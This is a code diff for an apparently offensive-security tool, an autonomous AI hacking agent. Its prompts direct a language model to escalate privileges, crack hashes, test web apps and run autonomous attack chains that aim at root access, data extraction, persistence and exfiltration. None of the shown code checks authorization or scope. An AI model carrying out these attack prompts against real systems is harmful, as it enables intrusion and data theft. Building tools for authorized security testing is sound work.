|
2701
|
+
var PRIVESC_COMMAND = {
|
|
2702
|
+
name: "privesc",
|
|
2703
|
+
description: "Check for privilege escalation vectors",
|
|
2704
|
+
usage: "/privesc [linux|windows]",
|
|
2705
|
+
aliases: ["pe", "priv"],
|
|
2706
|
+
execute: async (args, context) => {
|
|
2707
|
+
const os = args[0]?.toLowerCase() || "linux";
|
|
2708
|
+
const privescPrompt = os === "windows" ? `Check for Windows privilege escalation vectors:
|
|
2709
|
+
1. whoami /priv - check privileges
|
|
2710
|
+
2. Check for unquoted service paths
|
|
2711
|
+
3. Check AlwaysInstallElevated
|
|
2712
|
+
4. Look for stored credentials
|
|
2713
|
+
5. Check scheduled tasks
|
|
2714
|
+
6. Look for writable service binaries
|
|
2715
|
+
|
|
2716
|
+
For each vector found, rate exploitability (0-100) and provide exploitation steps.` : `Check for Linux privilege escalation vectors:
|
|
2717
|
+
1. sudo -l - check sudo permissions
|
|
2718
|
+
2. find SUID binaries
|
|
2719
|
+
3. Check capabilities
|
|
2720
|
+
4. Review cron jobs
|
|
2721
|
+
5. Check kernel version
|
|
2722
|
+
6. Look for writable sensitive files
|
|
2723
|
+
|
|
2724
|
+
For each vector found, rate exploitability (0-100) and provide GTFOBins/exploitation steps.`;
|
|
2725
|
+
try {
|
|
2726
|
+
const result = await context.agent.chat(privescPrompt);
|
|
2727
|
+
return { success: true, output: result };
|
|
2728
|
+
} catch (error) {
|
|
2729
|
+
return { success: false, output: `Privesc check failed: ${error.message}` };
|
|
2730
|
+
}
|
|
2731
|
+
}
|
|
2732
|
+
};
|
|
2733
|
+
var VULN_REVIEW_COMMAND = {
|
|
2734
|
+
name: "vuln-review",
|
|
2735
|
+
description: "Review and prioritize all findings",
|
|
2736
|
+
usage: "/vuln-review",
|
|
2737
|
+
aliases: ["review", "findings"],
|
|
2738
|
+
execute: async (_args, context) => {
|
|
2739
|
+
const state = context.agent.getState();
|
|
2740
|
+
const findings = state.findings || [];
|
|
2741
|
+
if (findings.length === 0) {
|
|
2742
|
+
return { success: true, output: "No findings to review. Run /scan first." };
|
|
2743
|
+
}
|
|
2744
|
+
const reviewPrompt = `Review the following ${findings.length} findings and prioritize:
|
|
2745
|
+
|
|
2746
|
+
${findings.map((f, i) => `${i + 1}. [${f.severity}] ${f.title}: ${f.description}`).join("\n")}
|
|
2747
|
+
|
|
2748
|
+
For each finding:
|
|
2749
|
+
1. Validate if it's a true positive
|
|
2750
|
+
2. Adjust confidence score if needed
|
|
2751
|
+
3. Prioritize by exploitability
|
|
2752
|
+
|
|
2753
|
+
Return prioritized attack plan.`;
|
|
2754
|
+
try {
|
|
2755
|
+
const result = await context.agent.chat(reviewPrompt);
|
|
2756
|
+
return { success: true, output: result };
|
|
2757
|
+
} catch (error) {
|
|
2758
|
+
return { success: false, output: `Review failed: ${error.message}` };
|
|
2759
|
+
}
|
|
2760
|
+
}
|
|
2761
|
+
};
|
|
2762
|
+
var ATTACK_COMMAND = {
|
|
2763
|
+
name: "attack",
|
|
2764
|
+
description: "Execute attack chain on target",
|
|
2765
|
+
usage: "/attack <objective>",
|
|
2766
|
+
aliases: ["pwn", "hack"],
|
|
2767
|
+
execute: async (args, context) => {
|
|
2768
|
+
const objective = args.join(" ") || "Gain root/SYSTEM access";
|
|
2769
|
+
const target = context.target || context.agent.getState().target?.primary;
|
|
2770
|
+
if (!target) {
|
|
2771
|
+
return { success: false, output: "No target set. Use /target first." };
|
|
2772
|
+
}
|
|
2773
|
+
const attackPrompt = `Execute attack chain on ${target}
|
|
2774
|
+
Objective: ${objective}
|
|
2775
|
+
|
|
2776
|
+
1. Review current findings and access level
|
|
2777
|
+
2. Select best attack vector
|
|
2778
|
+
3. Execute exploitation
|
|
2779
|
+
4. Escalate privileges if needed
|
|
2780
|
+
5. Achieve objective
|
|
2781
|
+
|
|
2782
|
+
Be autonomous but log every step. If something fails, try alternative approaches.`;
|
|
2783
|
+
try {
|
|
2784
|
+
await context.agent.runAutonomous(attackPrompt);
|
|
2785
|
+
return { success: true, output: "Attack chain complete." };
|
|
2786
|
+
} catch (error) {
|
|
2787
|
+
return { success: false, output: `Attack failed: ${error.message}` };
|
|
2788
|
+
}
|
|
2789
|
+
}
|
|
2790
|
+
};
|
|
2791
|
+
var REPORT_COMMAND = {
|
|
2792
|
+
name: "report",
|
|
2793
|
+
description: "Generate penetration testing report",
|
|
2794
|
+
usage: "/report [format]",
|
|
2795
|
+
aliases: ["rep"],
|
|
2796
|
+
execute: async (_args, context) => {
|
|
2797
|
+
const state = context.agent.getState();
|
|
2798
|
+
const reportPrompt = `Generate a penetration testing report:
|
|
2799
|
+
|
|
2800
|
+
## Executive Summary
|
|
2801
|
+
Brief overview of the engagement.
|
|
2802
|
+
|
|
2803
|
+
## Scope
|
|
2804
|
+
Target: ${state.target?.primary || "Unknown"}
|
|
2805
|
+
|
|
2806
|
+
## Findings Summary
|
|
2807
|
+
${state.findings?.length || 0} vulnerabilities identified.
|
|
2808
|
+
|
|
2809
|
+
## Detailed Findings
|
|
2810
|
+
${state.findings?.map((f) => `- [${f.severity}] ${f.title}`).join("\n") || "None"}
|
|
2811
|
+
|
|
2812
|
+
## Credentials Obtained
|
|
2813
|
+
${state.credentials?.length || 0} credentials
|
|
2814
|
+
|
|
2815
|
+
## Hosts Compromised
|
|
2816
|
+
${state.compromisedHosts?.join(", ") || "None"}
|
|
2817
|
+
|
|
2818
|
+
## Attack Path
|
|
2819
|
+
Describe the successful attack chain.
|
|
2820
|
+
|
|
2821
|
+
## Recommendations
|
|
2822
|
+
Prioritized remediation steps.
|
|
2823
|
+
|
|
2824
|
+
Format as markdown.`;
|
|
2825
|
+
try {
|
|
2826
|
+
const result = await context.agent.chat(reportPrompt);
|
|
2827
|
+
return { success: true, output: result };
|
|
2828
|
+
} catch (error) {
|
|
2829
|
+
return { success: false, output: `Report generation failed: ${error.message}` };
|
|
2830
|
+
}
|
|
1914
2831
|
}
|
|
1915
|
-
|
|
1916
|
-
|
|
1917
|
-
|
|
1918
|
-
|
|
2832
|
+
};
|
|
2833
|
+
var WEB_COMMAND = {
|
|
2834
|
+
name: "web",
|
|
2835
|
+
description: "Web application security testing",
|
|
2836
|
+
usage: "/web <url>",
|
|
2837
|
+
aliases: ["webapp"],
|
|
2838
|
+
execute: async (args, context) => {
|
|
2839
|
+
const url = args[0];
|
|
2840
|
+
if (!url) {
|
|
2841
|
+
return { success: false, output: "Usage: /web <url>" };
|
|
2842
|
+
}
|
|
2843
|
+
const webPrompt = `Perform web application security testing on ${url}:
|
|
2844
|
+
|
|
2845
|
+
1. Technology fingerprinting (Wappalyzer, whatweb)
|
|
2846
|
+
2. Directory enumeration
|
|
2847
|
+
3. SQLi testing on parameters
|
|
2848
|
+
4. XSS testing on inputs
|
|
2849
|
+
5. Authentication testing
|
|
2850
|
+
6. Look for sensitive files (robots.txt, .git, .env)
|
|
2851
|
+
|
|
2852
|
+
For each vulnerability found, provide:
|
|
2853
|
+
- Type
|
|
2854
|
+
- Proof of concept
|
|
2855
|
+
- Impact
|
|
2856
|
+
- Confidence score`;
|
|
2857
|
+
try {
|
|
2858
|
+
const result = await context.agent.chat(webPrompt);
|
|
2859
|
+
return { success: true, output: result };
|
|
2860
|
+
} catch (error) {
|
|
2861
|
+
return { success: false, output: `Web testing failed: ${error.message}` };
|
|
1919
2862
|
}
|
|
1920
|
-
this.clients.clear();
|
|
1921
|
-
this.tools.clear();
|
|
1922
2863
|
}
|
|
1923
2864
|
};
|
|
1924
|
-
var
|
|
1925
|
-
|
|
1926
|
-
|
|
1927
|
-
|
|
1928
|
-
|
|
1929
|
-
|
|
1930
|
-
|
|
2865
|
+
var HASH_COMMAND = {
|
|
2866
|
+
name: "hash",
|
|
2867
|
+
description: "Identify and crack hashes",
|
|
2868
|
+
usage: "/hash <hash>",
|
|
2869
|
+
aliases: ["crack"],
|
|
2870
|
+
execute: async (args, context) => {
|
|
2871
|
+
const hash = args[0];
|
|
2872
|
+
if (!hash) {
|
|
2873
|
+
return { success: false, output: "Usage: /hash <hash>" };
|
|
2874
|
+
}
|
|
2875
|
+
const hashPrompt = `Analyze and crack this hash: ${hash}
|
|
1931
2876
|
|
|
1932
|
-
|
|
1933
|
-
|
|
1934
|
-
|
|
1935
|
-
|
|
1936
|
-
|
|
1937
|
-
|
|
1938
|
-
|
|
1939
|
-
|
|
1940
|
-
|
|
1941
|
-
|
|
1942
|
-
|
|
1943
|
-
|
|
1944
|
-
|
|
1945
|
-
|
|
1946
|
-
|
|
1947
|
-
|
|
1948
|
-
|
|
1949
|
-
|
|
1950
|
-
|
|
1951
|
-
|
|
1952
|
-
|
|
1953
|
-
|
|
1954
|
-
|
|
1955
|
-
|
|
1956
|
-
|
|
1957
|
-
|
|
1958
|
-
|
|
1959
|
-
|
|
1960
|
-
while ((match = snippetRegex.exec(stdout)) !== null) {
|
|
1961
|
-
snippets.push(match[1]);
|
|
1962
|
-
}
|
|
1963
|
-
for (let i = 0; i < Math.min(urls.length, maxResults); i++) {
|
|
1964
|
-
results.push({
|
|
1965
|
-
title: titles[i] || "",
|
|
1966
|
-
url: urls[i] || "",
|
|
1967
|
-
snippet: snippets[i] || ""
|
|
1968
|
-
});
|
|
1969
|
-
}
|
|
1970
|
-
resolve2(results);
|
|
1971
|
-
});
|
|
1972
|
-
proc.on("error", () => {
|
|
1973
|
-
resolve2([]);
|
|
1974
|
-
});
|
|
1975
|
-
});
|
|
1976
|
-
}
|
|
1977
|
-
async function searchCVE(query) {
|
|
1978
|
-
return searchDuckDuckGo(`${query} site:cve.mitre.org OR site:nvd.nist.gov`);
|
|
2877
|
+
1. Identify hash type (hashid, hash-identifier)
|
|
2878
|
+
2. Determine hashcat mode
|
|
2879
|
+
3. Attempt cracking with rockyou.txt
|
|
2880
|
+
4. If not cracked, suggest more wordlists or rules
|
|
2881
|
+
|
|
2882
|
+
Report: hash type, cracked password (if successful), or recommendations.`;
|
|
2883
|
+
try {
|
|
2884
|
+
const result = await context.agent.chat(hashPrompt);
|
|
2885
|
+
return { success: true, output: result };
|
|
2886
|
+
} catch (error) {
|
|
2887
|
+
return { success: false, output: `Hash cracking failed: ${error.message}` };
|
|
2888
|
+
}
|
|
2889
|
+
}
|
|
2890
|
+
};
|
|
2891
|
+
var BUILTIN_COMMANDS = [
|
|
2892
|
+
SCAN_COMMAND,
|
|
2893
|
+
EXPLOIT_COMMAND,
|
|
2894
|
+
PRIVESC_COMMAND,
|
|
2895
|
+
VULN_REVIEW_COMMAND,
|
|
2896
|
+
ATTACK_COMMAND,
|
|
2897
|
+
REPORT_COMMAND,
|
|
2898
|
+
WEB_COMMAND,
|
|
2899
|
+
HASH_COMMAND
|
|
2900
|
+
];
|
|
2901
|
+
function getCommandByName(name) {
|
|
2902
|
+
return BUILTIN_COMMANDS.find(
|
|
2903
|
+
(c) => c.name === name || c.aliases?.includes(name)
|
|
2904
|
+
);
|
|
1979
2905
|
}
|
|
1980
|
-
async function
|
|
1981
|
-
|
|
2906
|
+
async function executeCommand(name, args, context) {
|
|
2907
|
+
const command = getCommandByName(name);
|
|
2908
|
+
if (!command) {
|
|
2909
|
+
return { success: false, output: `Unknown command: ${name}` };
|
|
2910
|
+
}
|
|
2911
|
+
return command.execute(args, context);
|
|
1982
2912
|
}
|
|
1983
2913
|
|
|
1984
2914
|
// src/core/agent/autonomous-agent.ts
|
|
@@ -2033,12 +2963,12 @@ var AutonomousHackingAgent = class extends EventEmitter3 {
|
|
|
2033
2963
|
state;
|
|
2034
2964
|
config;
|
|
2035
2965
|
tools;
|
|
2036
|
-
|
|
2966
|
+
builtinAgents = BUILTIN_AGENTS;
|
|
2037
2967
|
currentAgent = null;
|
|
2038
2968
|
// Integrated systems
|
|
2039
2969
|
hookExecutor;
|
|
2040
|
-
commandRegistry;
|
|
2041
2970
|
mcpManager;
|
|
2971
|
+
contextManager;
|
|
2042
2972
|
// Rabbit hole detection settings
|
|
2043
2973
|
STUCK_THRESHOLD = 5;
|
|
2044
2974
|
// Same action repeat count
|
|
@@ -2049,33 +2979,46 @@ var AutonomousHackingAgent = class extends EventEmitter3 {
|
|
|
2049
2979
|
constructor(apiKey, config) {
|
|
2050
2980
|
super();
|
|
2051
2981
|
this.client = new Anthropic({
|
|
2052
|
-
apiKey: apiKey || process.env.ANTHROPIC_API_KEY
|
|
2982
|
+
apiKey: apiKey || process.env.ANTHROPIC_API_KEY,
|
|
2983
|
+
baseURL: ANTHROPIC_BASE_URL
|
|
2053
2984
|
});
|
|
2054
2985
|
this.config = { ...AGENT_CONFIG, ...config };
|
|
2055
2986
|
this.tools = ALL_TOOLS;
|
|
2056
2987
|
this.hookExecutor = getHookExecutor();
|
|
2057
|
-
this.commandRegistry = getCommandRegistry();
|
|
2058
2988
|
this.mcpManager = getMCPManager();
|
|
2989
|
+
this.contextManager = new ContextManager(this.client);
|
|
2059
2990
|
this.state = this.createInitialState();
|
|
2060
|
-
this.
|
|
2991
|
+
this.initSystems();
|
|
2061
2992
|
}
|
|
2062
|
-
// Initialize
|
|
2063
|
-
async
|
|
2993
|
+
// Initialize systems (hooks, MCP)
|
|
2994
|
+
async initSystems() {
|
|
2064
2995
|
try {
|
|
2065
|
-
|
|
2066
|
-
this.pluginAgents = await loadAllAgents(agentsDir);
|
|
2067
|
-
this.emit(AGENT_EVENT.PLUGINS_LOADED, { agents: this.pluginAgents.length });
|
|
2996
|
+
this.emit(AGENT_EVENT.PLUGINS_LOADED, { agents: this.builtinAgents.length });
|
|
2068
2997
|
await this.hookExecutor.initialize();
|
|
2069
2998
|
this.emit(AGENT_EVENT.HOOKS_LOADED);
|
|
2070
|
-
|
|
2071
|
-
this.emit(AGENT_EVENT.COMMANDS_LOADED);
|
|
2999
|
+
this.emit(AGENT_EVENT.COMMANDS_LOADED, { commands: BUILTIN_COMMANDS.length });
|
|
2072
3000
|
} catch {
|
|
2073
3001
|
}
|
|
2074
3002
|
}
|
|
2075
|
-
// Add MCP server at runtime
|
|
3003
|
+
// Add MCP server at runtime and integrate its tools
|
|
2076
3004
|
async addMCPServer(name, command, args) {
|
|
2077
3005
|
await this.mcpManager.addServer(name, { command, args });
|
|
2078
|
-
this.
|
|
3006
|
+
const mcpTools = this.mcpManager.getAvailableTools();
|
|
3007
|
+
for (const mcpTool of mcpTools) {
|
|
3008
|
+
const anthropicTool = {
|
|
3009
|
+
name: mcpTool.name,
|
|
3010
|
+
description: mcpTool.description,
|
|
3011
|
+
input_schema: mcpTool.inputSchema
|
|
3012
|
+
};
|
|
3013
|
+
if (!this.tools.find((t) => t.name === mcpTool.name)) {
|
|
3014
|
+
this.tools.push(anthropicTool);
|
|
3015
|
+
}
|
|
3016
|
+
}
|
|
3017
|
+
this.emit(AGENT_EVENT.MCP_SERVER_ADDED, { name, toolCount: mcpTools.length });
|
|
3018
|
+
}
|
|
3019
|
+
// Get all MCP tools
|
|
3020
|
+
getMCPTools() {
|
|
3021
|
+
return this.mcpManager.getAvailableTools().map((t) => t.name);
|
|
2079
3022
|
}
|
|
2080
3023
|
// Web search capabilities
|
|
2081
3024
|
async webSearch(query) {
|
|
@@ -2096,35 +3039,37 @@ var AutonomousHackingAgent = class extends EventEmitter3 {
|
|
|
2096
3039
|
this.think(THOUGHT_TYPE.RESULT, `Found ${results.length} exploit results`);
|
|
2097
3040
|
return results;
|
|
2098
3041
|
}
|
|
2099
|
-
// Process slash command
|
|
3042
|
+
// Process slash command using built-in commands
|
|
2100
3043
|
async processCommand(input) {
|
|
2101
|
-
|
|
2102
|
-
|
|
2103
|
-
const
|
|
2104
|
-
|
|
2105
|
-
|
|
2106
|
-
|
|
2107
|
-
|
|
2108
|
-
|
|
2109
|
-
|
|
2110
|
-
|
|
2111
|
-
|
|
2112
|
-
|
|
3044
|
+
if (!input.startsWith("/")) return null;
|
|
3045
|
+
const parts = input.slice(1).split(" ");
|
|
3046
|
+
const cmdName = parts[0];
|
|
3047
|
+
const args = parts.slice(1);
|
|
3048
|
+
const context = {
|
|
3049
|
+
agent: this,
|
|
3050
|
+
target: this.state.target.primary
|
|
3051
|
+
};
|
|
3052
|
+
const result = await executeCommand(cmdName, args, context);
|
|
3053
|
+
this.think(THOUGHT_TYPE.PLAN, `Executed command: /${cmdName}`);
|
|
3054
|
+
this.emit(AGENT_EVENT.COMMAND_EXECUTE, { command: cmdName, args });
|
|
3055
|
+
return result.output;
|
|
3056
|
+
}
|
|
3057
|
+
// Switch to specialized built-in agent
|
|
2113
3058
|
async useAgent(agentName) {
|
|
2114
|
-
const agent = this.
|
|
3059
|
+
const agent = this.builtinAgents.find(
|
|
2115
3060
|
(a) => a.name === agentName || a.name === agentName.replace(/-/g, "_") || a.name.includes(agentName)
|
|
2116
3061
|
);
|
|
2117
3062
|
if (agent) {
|
|
2118
3063
|
this.currentAgent = agent;
|
|
2119
3064
|
this.think(THOUGHT_TYPE.PLAN, `Switching to specialized agent: ${agent.name}`);
|
|
2120
|
-
this.emit(AGENT_EVENT.AGENT_SWITCH, agent);
|
|
3065
|
+
this.emit(AGENT_EVENT.AGENT_SWITCH, { name: agent.name, description: agent.description });
|
|
2121
3066
|
return true;
|
|
2122
3067
|
}
|
|
2123
3068
|
return false;
|
|
2124
3069
|
}
|
|
2125
3070
|
// Get available agents
|
|
2126
3071
|
getAvailableAgents() {
|
|
2127
|
-
return this.
|
|
3072
|
+
return this.builtinAgents.map((a) => a.name);
|
|
2128
3073
|
}
|
|
2129
3074
|
// ===== State Management =====
|
|
2130
3075
|
createInitialState() {
|
|
@@ -2142,6 +3087,8 @@ ${await this.commandRegistry.getHelp()}`;
|
|
|
2142
3087
|
phases: DEFAULT_PHASES.map((p) => ({ ...p, findings: [], notes: [] })),
|
|
2143
3088
|
thoughts: [],
|
|
2144
3089
|
findings: [],
|
|
3090
|
+
credentials: [],
|
|
3091
|
+
compromisedHosts: [],
|
|
2145
3092
|
iteration: 0,
|
|
2146
3093
|
fullAttempts: 0,
|
|
2147
3094
|
successfulExploits: 0,
|
|
@@ -2207,11 +3154,38 @@ ${await this.commandRegistry.getHelp()}`;
|
|
|
2207
3154
|
this.state.currentPhase = nextPhase.id;
|
|
2208
3155
|
this.setPhaseStatus(nextPhase.id, PHASE_STATUS.IN_PROGRESS);
|
|
2209
3156
|
this.think(THOUGHT_TYPE.PLAN, `Advancing to next phase: ${nextPhase.shortName}`);
|
|
3157
|
+
this.autoSwitchAgentForPhase(nextPhase.id);
|
|
2210
3158
|
this.resetStuckCounter();
|
|
2211
3159
|
return true;
|
|
2212
3160
|
}
|
|
2213
3161
|
return false;
|
|
2214
3162
|
}
|
|
3163
|
+
/**
|
|
3164
|
+
* Automatically switch to the best agent for the current phase
|
|
3165
|
+
*/
|
|
3166
|
+
autoSwitchAgentForPhase(phaseId) {
|
|
3167
|
+
const phaseToAgentMap = {
|
|
3168
|
+
[PHASE_ID.RECON]: "target-explorer",
|
|
3169
|
+
[PHASE_ID.SCAN]: "target-explorer",
|
|
3170
|
+
[PHASE_ID.ENUM]: "target-explorer",
|
|
3171
|
+
[PHASE_ID.VULN]: "exploit-researcher",
|
|
3172
|
+
[PHASE_ID.EXPLOIT]: "exploit-researcher",
|
|
3173
|
+
[PHASE_ID.PRIVESC]: "privesc-master",
|
|
3174
|
+
[PHASE_ID.PIVOT]: "privesc-master",
|
|
3175
|
+
[PHASE_ID.PERSIST]: "privesc-master",
|
|
3176
|
+
[PHASE_ID.EXFIL]: "forensics-analyst",
|
|
3177
|
+
[PHASE_ID.REPORT]: "finding-reviewer"
|
|
3178
|
+
};
|
|
3179
|
+
const agentName = phaseToAgentMap[phaseId];
|
|
3180
|
+
if (agentName) {
|
|
3181
|
+
const agent = getAgentByName(agentName);
|
|
3182
|
+
if (agent) {
|
|
3183
|
+
this.currentAgent = agent;
|
|
3184
|
+
this.emit(AGENT_EVENT.AGENT_SWITCH, { name: agent.name, description: agent.description });
|
|
3185
|
+
this.think(THOUGHT_TYPE.OBSERVATION, `Switched to ${agent.name} agent for ${phaseId} phase`);
|
|
3186
|
+
}
|
|
3187
|
+
}
|
|
3188
|
+
}
|
|
2215
3189
|
// ===== Rabbit Hole Detection =====
|
|
2216
3190
|
checkIfStuck() {
|
|
2217
3191
|
const currentPhase = this.getCurrentPhase();
|
|
@@ -2324,6 +3298,7 @@ What went wrong and what different approach should be tried?
|
|
|
2324
3298
|
}
|
|
2325
3299
|
this.state.status = AGENT_STATUS.RUNNING;
|
|
2326
3300
|
this.setPhaseStatus(PHASE_ID.RECON, PHASE_STATUS.IN_PROGRESS);
|
|
3301
|
+
this.autoSwitchAgentForPhase(PHASE_ID.RECON);
|
|
2327
3302
|
const mainObjective = objective || `
|
|
2328
3303
|
Target ${this.state.target.primary} - performing full penetration test.
|
|
2329
3304
|
Goal: Deep penetration to obtain root/system privileges, extract internal data, map entire network.
|
|
@@ -2380,6 +3355,22 @@ Goal: Deep penetration to obtain root/system privileges, extract internal data,
|
|
|
2380
3355
|
async executeStep() {
|
|
2381
3356
|
const contextPrompt = this.buildContextPrompt();
|
|
2382
3357
|
this.think(THOUGHT_TYPE.PLAN, "Deciding next action...");
|
|
3358
|
+
const contextStatus = this.contextManager.checkStatus(this.state.history);
|
|
3359
|
+
if (contextStatus.warning) {
|
|
3360
|
+
this.think(THOUGHT_TYPE.OBSERVATION, `Context at ${(contextStatus.percentage * 100).toFixed(1)}% capacity`);
|
|
3361
|
+
}
|
|
3362
|
+
if (contextStatus.needsCompaction) {
|
|
3363
|
+
this.think(THOUGHT_TYPE.PLAN, "Compacting context...");
|
|
3364
|
+
const compactResult = await this.contextManager.compactIfNeeded(this.state.history);
|
|
3365
|
+
if (compactResult.wasCompacted && compactResult.result) {
|
|
3366
|
+
this.state.history = compactResult.messages;
|
|
3367
|
+
this.emit(AGENT_EVENT.CONTEXT_COMPACTED, compactResult.result);
|
|
3368
|
+
this.think(
|
|
3369
|
+
THOUGHT_TYPE.OBSERVATION,
|
|
3370
|
+
`Context compacted: ${compactResult.result.compactionRatio.toFixed(2)}x reduction`
|
|
3371
|
+
);
|
|
3372
|
+
}
|
|
3373
|
+
}
|
|
2383
3374
|
const historyMessages = this.state.history.map(toMessageParam);
|
|
2384
3375
|
const messages = [
|
|
2385
3376
|
...historyMessages,
|
|
@@ -2387,15 +3378,26 @@ Goal: Deep penetration to obtain root/system privileges, extract internal data,
|
|
|
2387
3378
|
];
|
|
2388
3379
|
let systemPrompt = AUTONOMOUS_HACKING_PROMPT;
|
|
2389
3380
|
if (this.currentAgent) {
|
|
2390
|
-
systemPrompt =
|
|
3381
|
+
systemPrompt = buildAgentSystemPrompt(systemPrompt, this.currentAgent);
|
|
2391
3382
|
}
|
|
2392
|
-
const response = await
|
|
2393
|
-
|
|
2394
|
-
|
|
2395
|
-
|
|
2396
|
-
|
|
2397
|
-
|
|
2398
|
-
|
|
3383
|
+
const response = await withRetry(
|
|
3384
|
+
() => this.client.messages.create({
|
|
3385
|
+
model: CLAUDE_MODEL,
|
|
3386
|
+
max_tokens: CLAUDE_MAX_TOKENS,
|
|
3387
|
+
system: systemPrompt,
|
|
3388
|
+
tools: this.tools,
|
|
3389
|
+
messages
|
|
3390
|
+
}),
|
|
3391
|
+
{
|
|
3392
|
+
maxRetries: 3,
|
|
3393
|
+
onRetry: (attempt, error, delay) => {
|
|
3394
|
+
this.think(
|
|
3395
|
+
THOUGHT_TYPE.STUCK,
|
|
3396
|
+
`API retry ${attempt}/3 after ${delay}ms: ${error.message}`
|
|
3397
|
+
);
|
|
3398
|
+
}
|
|
3399
|
+
}
|
|
3400
|
+
);
|
|
2399
3401
|
return this.processResponse(response);
|
|
2400
3402
|
}
|
|
2401
3403
|
buildContextPrompt() {
|
|
@@ -2449,7 +3451,13 @@ Use report_finding tool for important discoveries.
|
|
|
2449
3451
|
this.trackAction(actionKey);
|
|
2450
3452
|
this.think(THOUGHT_TYPE.ACTION, `[tool] Tool execution: ${toolName}`);
|
|
2451
3453
|
this.emit(AGENT_EVENT.TOOL_CALL, { id: block.id, name: toolName, input: toolInput });
|
|
3454
|
+
const hookCheck = await this.hookExecutor.checkPreToolUse(toolName, toolInput);
|
|
3455
|
+
if (hookCheck.decision === "block") {
|
|
3456
|
+
this.think(THOUGHT_TYPE.STUCK, `Tool blocked by hook: ${hookCheck.output}`);
|
|
3457
|
+
continue;
|
|
3458
|
+
}
|
|
2452
3459
|
const result = await executeToolCall(toolName, toolInput);
|
|
3460
|
+
await this.hookExecutor.runPostToolUse(toolName, result.output || "");
|
|
2453
3461
|
const resultType = result.success ? "result" : "result";
|
|
2454
3462
|
this.think(
|
|
2455
3463
|
resultType,
|
|
@@ -2648,6 +3656,100 @@ ${this.state.findings.filter((f) => f.severity !== "info").map((f) => `- Address
|
|
|
2648
3656
|
this.resetStuckCounter();
|
|
2649
3657
|
this.emit(AGENT_EVENT.HINT_RECEIVED, hint);
|
|
2650
3658
|
}
|
|
3659
|
+
// ===== Interactive Chat =====
|
|
3660
|
+
/**
|
|
3661
|
+
* Process user chat message and generate AI response
|
|
3662
|
+
* This is the main method for interactive TUI conversations
|
|
3663
|
+
*/
|
|
3664
|
+
async chat(userMessage) {
|
|
3665
|
+
this.think(THOUGHT_TYPE.PLAN, `Processing: ${userMessage}`);
|
|
3666
|
+
this.state.history.push({
|
|
3667
|
+
role: "user",
|
|
3668
|
+
content: userMessage
|
|
3669
|
+
});
|
|
3670
|
+
try {
|
|
3671
|
+
const systemPrompt = this.buildContextualPrompt();
|
|
3672
|
+
const response = await this.client.messages.create({
|
|
3673
|
+
model: CLAUDE_MODEL,
|
|
3674
|
+
max_tokens: CLAUDE_MAX_TOKENS,
|
|
3675
|
+
system: systemPrompt,
|
|
3676
|
+
messages: this.state.history,
|
|
3677
|
+
tools: this.tools
|
|
3678
|
+
});
|
|
3679
|
+
let textResponse = "";
|
|
3680
|
+
let hasToolCalls = false;
|
|
3681
|
+
for (const block of response.content) {
|
|
3682
|
+
if (block.type === "text") {
|
|
3683
|
+
textResponse += block.text;
|
|
3684
|
+
this.emit(AGENT_EVENT.RESPONSE, block.text);
|
|
3685
|
+
} else if (block.type === "tool_use") {
|
|
3686
|
+
hasToolCalls = true;
|
|
3687
|
+
this.emit(AGENT_EVENT.TOOL_CALL, { name: block.name, input: block.input });
|
|
3688
|
+
const result = await executeToolCall(block.name, block.input);
|
|
3689
|
+
this.emit(AGENT_EVENT.TOOL_RESULT, { name: block.name, result });
|
|
3690
|
+
this.state.history.push({
|
|
3691
|
+
role: "assistant",
|
|
3692
|
+
content: response.content
|
|
3693
|
+
});
|
|
3694
|
+
this.state.history.push({
|
|
3695
|
+
role: "user",
|
|
3696
|
+
content: [{
|
|
3697
|
+
type: "tool_result",
|
|
3698
|
+
tool_use_id: block.id,
|
|
3699
|
+
content: typeof result === "string" ? result : JSON.stringify(result)
|
|
3700
|
+
}]
|
|
3701
|
+
});
|
|
3702
|
+
}
|
|
3703
|
+
}
|
|
3704
|
+
if (hasToolCalls && response.stop_reason === "tool_use") {
|
|
3705
|
+
const followUp = await this.client.messages.create({
|
|
3706
|
+
model: CLAUDE_MODEL,
|
|
3707
|
+
max_tokens: CLAUDE_MAX_TOKENS,
|
|
3708
|
+
system: systemPrompt,
|
|
3709
|
+
messages: this.state.history,
|
|
3710
|
+
tools: this.tools
|
|
3711
|
+
});
|
|
3712
|
+
for (const block of followUp.content) {
|
|
3713
|
+
if (block.type === "text") {
|
|
3714
|
+
textResponse += block.text;
|
|
3715
|
+
this.emit(AGENT_EVENT.RESPONSE, block.text);
|
|
3716
|
+
}
|
|
3717
|
+
}
|
|
3718
|
+
this.state.history.push({
|
|
3719
|
+
role: "assistant",
|
|
3720
|
+
content: followUp.content
|
|
3721
|
+
});
|
|
3722
|
+
} else if (!hasToolCalls) {
|
|
3723
|
+
this.state.history.push({
|
|
3724
|
+
role: "assistant",
|
|
3725
|
+
content: textResponse
|
|
3726
|
+
});
|
|
3727
|
+
}
|
|
3728
|
+
this.think(THOUGHT_TYPE.RESULT, "Response generated");
|
|
3729
|
+
return textResponse;
|
|
3730
|
+
} catch (error) {
|
|
3731
|
+
const errMsg = error instanceof Error ? error.message : "Unknown error";
|
|
3732
|
+
this.emit(AGENT_EVENT.ERROR, error);
|
|
3733
|
+
this.think(THOUGHT_TYPE.STUCK, `Error: ${errMsg}`);
|
|
3734
|
+
return `Error: ${errMsg}`;
|
|
3735
|
+
}
|
|
3736
|
+
}
|
|
3737
|
+
/**
|
|
3738
|
+
* Build a context-aware prompt for chat interactions
|
|
3739
|
+
*/
|
|
3740
|
+
buildContextualPrompt() {
|
|
3741
|
+
const targetInfo = this.state.target.primary ? `Current target: ${this.state.target.primary}` : "No target set";
|
|
3742
|
+
const phaseInfo = `Current phase: ${this.state.currentPhase}`;
|
|
3743
|
+
const findingsInfo = `Findings so far: ${this.state.findings.length}`;
|
|
3744
|
+
return `You are an autonomous penetration testing AI assistant.
|
|
3745
|
+
${targetInfo}
|
|
3746
|
+
${phaseInfo}
|
|
3747
|
+
${findingsInfo}
|
|
3748
|
+
|
|
3749
|
+
Available tools: ${this.tools.map((t) => t.name).join(", ")}
|
|
3750
|
+
|
|
3751
|
+
Respond helpfully to the user's message. If they ask to perform security testing actions, use the appropriate tools. Always explain what you're doing and why.`;
|
|
3752
|
+
}
|
|
2651
3753
|
// ===== Pause/Resume =====
|
|
2652
3754
|
pause() {
|
|
2653
3755
|
this.state.status = AGENT_STATUS.PAUSED;
|
|
@@ -2664,7 +3766,430 @@ ${this.state.findings.filter((f) => f.severity !== "info").map((f) => `- Address
|
|
|
2664
3766
|
this.state = this.createInitialState();
|
|
2665
3767
|
this.emit(AGENT_EVENT.RESET);
|
|
2666
3768
|
}
|
|
3769
